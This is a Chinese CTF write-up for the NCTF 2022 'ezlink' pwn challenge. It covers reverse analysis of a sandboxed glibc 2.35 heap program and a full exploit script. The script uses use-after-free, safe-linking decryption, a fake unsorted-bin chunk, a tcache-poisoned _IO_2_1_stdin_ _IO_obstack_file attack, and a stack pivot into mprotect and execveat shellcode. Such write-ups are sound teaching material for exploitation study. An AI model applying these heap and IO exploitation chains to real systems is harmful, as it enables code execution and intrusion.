NCTF-2022-pwn-ezlink
NCTF-2022-pwn-ezlink
总结
-
利用
_IO_obstack_file
结构体进行攻击时,最好打_IO_2_1_stdin_
-
利用
_IO_obstack_file
结构体进行攻击时,栈迁移布置如下:gg1 = libc.search(asm("mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]")).__next__() gg2 = libc.search(asm("mov rsp, rdx; ret")).__next__() gg3 = libc.search(asm('add rsp, 0x30; mov rax, r12; pop r12; ret')).__next__() + rdi放个堆地址,记为A,触发gg1 + A + 8处放个地址,记为B + B + 0x20处放gg2 + B处放gg3 + B + 0x40处放ROP链 #payload flat( { 0x0:gg3, 0x8:[ this_heap_address, ], 0x20:[ gg2 ], 0x40: [ fxxk_rop, shellcode_address ], }, )
-
通过修改size伪造UB时,注意堆内存布局
-
错位覆盖IOfile时,可以利用好切片
-
_IO_obstack_file攻击需要利用的指针很少!!!
-
栈迁移的时候可以考虑一下0x20大小的极致利用()(强网拟态only)
-
(fd指针加密是tcahce当前size的头指针>>12)^目标地址
逆向分析
glibc版本
$ ./libc-2.35.so
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 11.2.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
- 存在tcache对齐检查,fd加密,还要double free的key检测
- 没有各种hook了,一般都是打IO(house of apple2)(emo)
结构体
逆向分析可知结构体如下:
typedef struct Stu
{
void *contprt1;
void *contprt2;
}fxxk;
关键函数
- 沙箱函数
.text:0000000000001309 loc_1309: ; CODE XREF: sub_1372+49↓p
.text:0000000000001309 ; __unwind {
.text:0000000000001309 endbr64
.text:000000000000130D push rbp
.text:000000000000130E mov rbp, rsp
.text:0000000000001311 sub rsp, 10h
.text:0000000000001315 mov edi, 7FFF0000h
.text:000000000000131A call _seccomp_init
.text:000000000000131F mov [rbp-8], rax
.text:0000000000001323 mov rax, [rbp-8]
.text:0000000000001327 mov ecx, 0
.text:000000000000132C mov edx, 3Bh ; ';'
.text:0000000000001331 mov esi, 0
.text:0000000000001336 mov rdi, rax
.text:0000000000001339 mov eax, 0
.text:000000000000133E call _seccomp_rule_add
.text:0000000000001343 mov rax, [rbp-8]
.text:0000000000001347 mov ecx, 0
.text:000000000000134C mov edx, 2
.text:0000000000001351 mov esi, 0
.text:0000000000001356 mov rdi, rax
.text:0000000000001359 mov eax, 0
.text:000000000000135E call _seccomp_rule_add
.text:0000000000001363 mov rax, [rbp-8]
.text:0000000000001367 mov rdi, rax
.text:000000000000136A call _seccomp_load
.text:000000000000136F nop
.text:0000000000001370 leave
.text:0000000000001371 retn
.text:0000000000001371 ; } // starts at 1309
可以看出开了沙箱,如下:
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x02 0x00 0x00000002 if (A == open) goto 0008
0006: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL
该沙箱禁用了x32 abi以及open、execve。
- add函数
void *add()
{
fxxk *v0; // rbx
fxxk *v1; // rbx
size_t size; // rax
chunk_arr = (fxxk *)malloc(0x20uLL);
v0 = chunk_arr;
v0->contprt2 = malloc(0xD0uLL);
v1 = chunk_arr;
v1->contprt1 = malloc(0xD0uLL);
puts("Please input your secret");
read(0, chunk_arr->contprt1, 0xD0uLL);
size = strlen((const char *)chunk_arr->contprt1);
return memcpy(chunk_arr->contprt2, chunk_arr->contprt1, size);
}
该函数简单概括如下:
-
一个0x20大小的chunk存储两个指针contprt1,conprt2,这两个指针指向0xd0大小的chunk
-
strlen函数遇到\x00会自动截断,说明我们输入的内容能百分百到contprt1,但不一定百分百到contprt2
-
先申请contprt2,再申请chunkprt1
- del函数
fxxk *del()
{
fxxk *result; // rax
free(chunk_arr->contprt1);
free(chunk_arr->contprt2);
result = chunk_arr;
chunk_arr->contprt1 = 0LL;
return result;
}
该函数简单概括如下:
- 只对contprt1进行了置0,有两个uaf分别为chunkarr和contprt2
- 先free 1,再free 2,结合add函数,说明我们如果进行add + del操作,申请的0xd0大小的chunk还是那两个
- show函数
int show()
{
puts("you only have two chances to peep a secret");
if ( !show_times ) //2 times
return puts("no chance to peep");
write(1, chunk_arr->contprt2, 8uLL);
return --show_times;
}
没什么需要讲解的
- edit函数
int edit()
{
puts("you only have four chances to distort a secret");
if ( !edit_times ) //4 times
return puts("no chance to distort");
puts("Please input content");
read(0, chunk_arr->contprt2, 0xD0uLL);
return --edit_times;
}
没什么需要讲的
总结
-
del函数揭示了如果我们想保存一个chunk内的内容,我们需要堆风水,即add() 2次,del() 一次,这样第一次add的chunk内的数据就会被保存
-
我们能show和edit的都是contprt2,当我们进行一次del的时候。在bin内,contprt2的fd为加密后的contprt1指针
-
只能操作0xd0大小的chunk,如果我们打IO,只是简单的劫持_IO_list_all的话,覆盖不了0xd8处的vtable,所以我们只能部分覆盖某个IO结构体
-
show只能用2次,我们必须一次用来泄露堆地址,一次用来泄露libc地址
-
由于开了沙盒,需要栈迁移
漏洞利用
-
由于有uaf,我们可以先考虑泄露,故先泄露一个加密后的堆地址
add(flat( { 0:0 } )) free() show() ru('you only have two chances to peep a secret\n') leak_fake_heap = u64_ex(r(6))
但此时如何处理加密呢?Roderick师傅和FUNct!onMain师傅都用了一个方法,如下
#Roderick def calc_heap(addr): s = hex(addr)[2:] s = [int(x, base=16) for x in s] res = s.copy() for i in range(9): res[3+i] ^= res[i] res = "".join([hex(x)[2:] for x in res]) return int16_ex(res) #FUNct!onMain def decrypt(cry): ans = cry for i in range(3): ans = (ans >> 12)^cry return ans
最后减去一定值,便可以得到heapbase
heap_addr = decrypt(leak_fake_heap) log_address_ex2(heap_addr) heapbase = heap_addr - 0x1590 log_address_ex2(heapbase)
-
有了heapbase,便可以绕过指针加密,可以修改fd申请任意堆内存了,但是要注意申请时必须要有0x10对齐。此时我们可以将contprt2的chunk fd改成contprt2 - 0x20。然后申请,关系如下图:
那么我们修改contprt1所指的chunk,使它修改conprt2 chunk的size为0x431,再次进行free操作,contprt2便指向一个UB。
但此时存在一个问题,我们虽然伪造了一个size为0x431的chunk,但是实际堆内存中布局不满足要求,所以!我们需要再修改前申请很多个chunk,使得进行伪造UB时不出错
for i in range(20):
add(flat(
{
0:p64(0)
}
))
free()
fd = flat(((heapbase+0x14a0)>>12)^(heapbase + 0x1480))
edit(fd)
add(
flat({
0x28:[
0x431,
]
})
)
free()
(0x431这个大小也是有讲究的,为0x30 * 16)
-
现在我们有了UB,而且UB是contprt2,我们便可以泄露libc基地址
show() lb = recv_current_libc_addr(0x219ce0) log_address_ex2(lb) libc.address = lb
-
后面的事情就很简单,部分覆盖打IO,我选择的是_IO_obstack_file结构体攻击,但是在攻击之前,我们需要布置一下rop链,如下
gg1 = libc.search(asm("mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]")).__next__() gg2 = libc.search(asm("mov rsp, rdx; ret")).__next__() gg3 = libc.search(asm('add rsp, 0x30; mov rax, r12; pop r12; ret')).__next__() fake_io_chunk = heapbase + 0x1590 add(flat( { 8:[ fake_io_chunk+0x50-0x20, 0, 0, ], 0x30:gg3, 0x50:[ gg2 ], 0x70: [ libc.search(asm("pop rdi; ret")).__next__(), heapbase, libc.search(asm("pop rsi; ret")).__next__(), 0x2000, libc.search(asm("pop rdx; pop r12; ret")).__next__(), 0x7, 0x0, libc.sym.mprotect, heapbase + 0x16a0 #shellcode_address ], }, )) #here is 0x16a0 add(flat( { 0:ShellcodeMall.amd64.execveat_bin_sh } ))
然后打IO,栈迁移触发shellcode,如下
add(flat( { 0:p64(0) } )) free() ioprt = libc.sym._IO_2_1_stdin_ fd = flat(((heapbase+0x14b0)>>12)^(ioprt + 0x20)) edit(fd) add(flat( { 0x38-0x20:fake_io_chunk , 0x28-0x20:gg1, 0x20-0x20:0, 0x40-0x20:1, 0xc8-0x10:[ libc.sym._IO_wfile_jumps + 0x300 + 0x20, ioprt-0x10 ] },filler = '\x00', )) cmd(5) sleep(1) sl('read FLAG < flag ; echo $FLAG') io.interactive()
攻击IO细节
由_IO_obstack_file可知,我们可以稳定劫持程序流和控制rdi,但是该结构体需要控制0xe0处的内容,如果我们攻击的是err或者out,可能会出错,所以我们要攻击的是in,不仅是部分覆盖,而且还要完成栈迁移,我们需要用到一下gadget
gg1 = libc.search(asm("mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]")).__next__()
gg2 = libc.search(asm("mov rsp, rdx; ret")).__next__()
gg3 = libc.search(asm('add rsp, 0x30; mov rax, r12; pop r12; ret')).__next__()
主要思路如下:
- rdi放个堆地址,记为A,触发gg1
- A + 8处放个地址,记为B
- B + 0x20处放gg2
- B处放gg3
- B + 0x38处放ROP链
EXP
#!/usr/bin/env python3
'''
Author: 7resp4ss
Date: 2022-12-03 17:03:00
LastEditTime: 2022-12-06 15:37:42
Description:
'''
from pwncli import *
cli_script()
io = gift["io"]
elf = gift["elf"]
libc = gift.libc
filename = gift.filename # current filename
is_debug = gift.debug # is debug or not
is_remote = gift.remote # is remote or not
gdb_pid = gift.gdb_pid # gdb pid if debug
if gift.remote:
libc = ELF("./libc-2.35.so")
gift["libc"] = libc
def cmd(idx):
sla('>> ',str(idx))
def add(pd):
cmd(1)
sa('secret',pd)
def free():
cmd(2)
def show():
cmd(3)
def edit(pd):
cmd(4)
sa('content',pd)
def decrypt(cry):
ans = cry
for i in range(3):
ans = (ans >> 12)^cry
return ans
add(flat(
{
0:0
}
))
free()
show()
ru('you only have two chances to peep a secret\n')
leak_fake_heap = u64_ex(r(6))
log_address_ex2(leak_fake_heap)
heap_addr = decrypt(leak_fake_heap)
log_address_ex2(heap_addr)
heapbase = heap_addr - 0x1590
log_address_ex2(heapbase)
fxxk_addr = heapbase&~0xffff
log_address_ex2(fxxk_addr)
for i in range(20):
add(flat(
{
0:p64(0)
}
))
free()
fd = flat(((heapbase+0x14a0)>>12)^(heapbase + 0x1480))
edit(fd)
add(
flat({
0x28:[
0x431,
]
})
)
free()
show()
lb = recv_current_libc_addr(0x219ce0)
log_address_ex2(lb)
libc.address = lb
gg1 = libc.search(asm("mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]")).__next__()
gg2 = libc.search(asm("mov rsp, rdx; ret")).__next__()
gg3 = libc.search(asm('add rsp, 0x30; mov rax, r12; pop r12; ret')).__next__()
fake_io_chunk = heapbase + 0x1590
add(flat(
{
8:[
fake_io_chunk+0x50-0x20,
0,
0,
],
0x30:gg3,
0x50:[
gg2
],
0x70:
[
libc.search(asm("pop rdi; ret")).__next__(),
heapbase,
libc.search(asm("pop rsi; ret")).__next__(),
0x2000,
libc.search(asm("pop rdx; pop r12; ret")).__next__(),
0x7,
0x0,
libc.sym.mprotect,
heapbase + 0x16a0 #shellcode_address
],
},
))
#here is 0x16a0
add(flat(
{
0:ShellcodeMall.amd64.execveat_bin_sh
}
))
add(flat(
{
0:p64(0)
}
))
free()
ioprt = libc.sym._IO_2_1_stdin_
fd = flat(((heapbase+0x14b0)>>12)^(ioprt + 0x20))
edit(fd)
add(flat(
{
0x38-0x20:fake_io_chunk ,
0x28-0x20:gg1,
0x20-0x20:0,
0x40-0x20:1,
0xc8-0x10:[
libc.sym._IO_wfile_jumps + 0x300 + 0x20,
ioprt-0x10
]
},filler = '\x00',
))
cmd(5)
sleep(1)
sl('read FLAG < flag ; echo $FLAG')
io.interactive()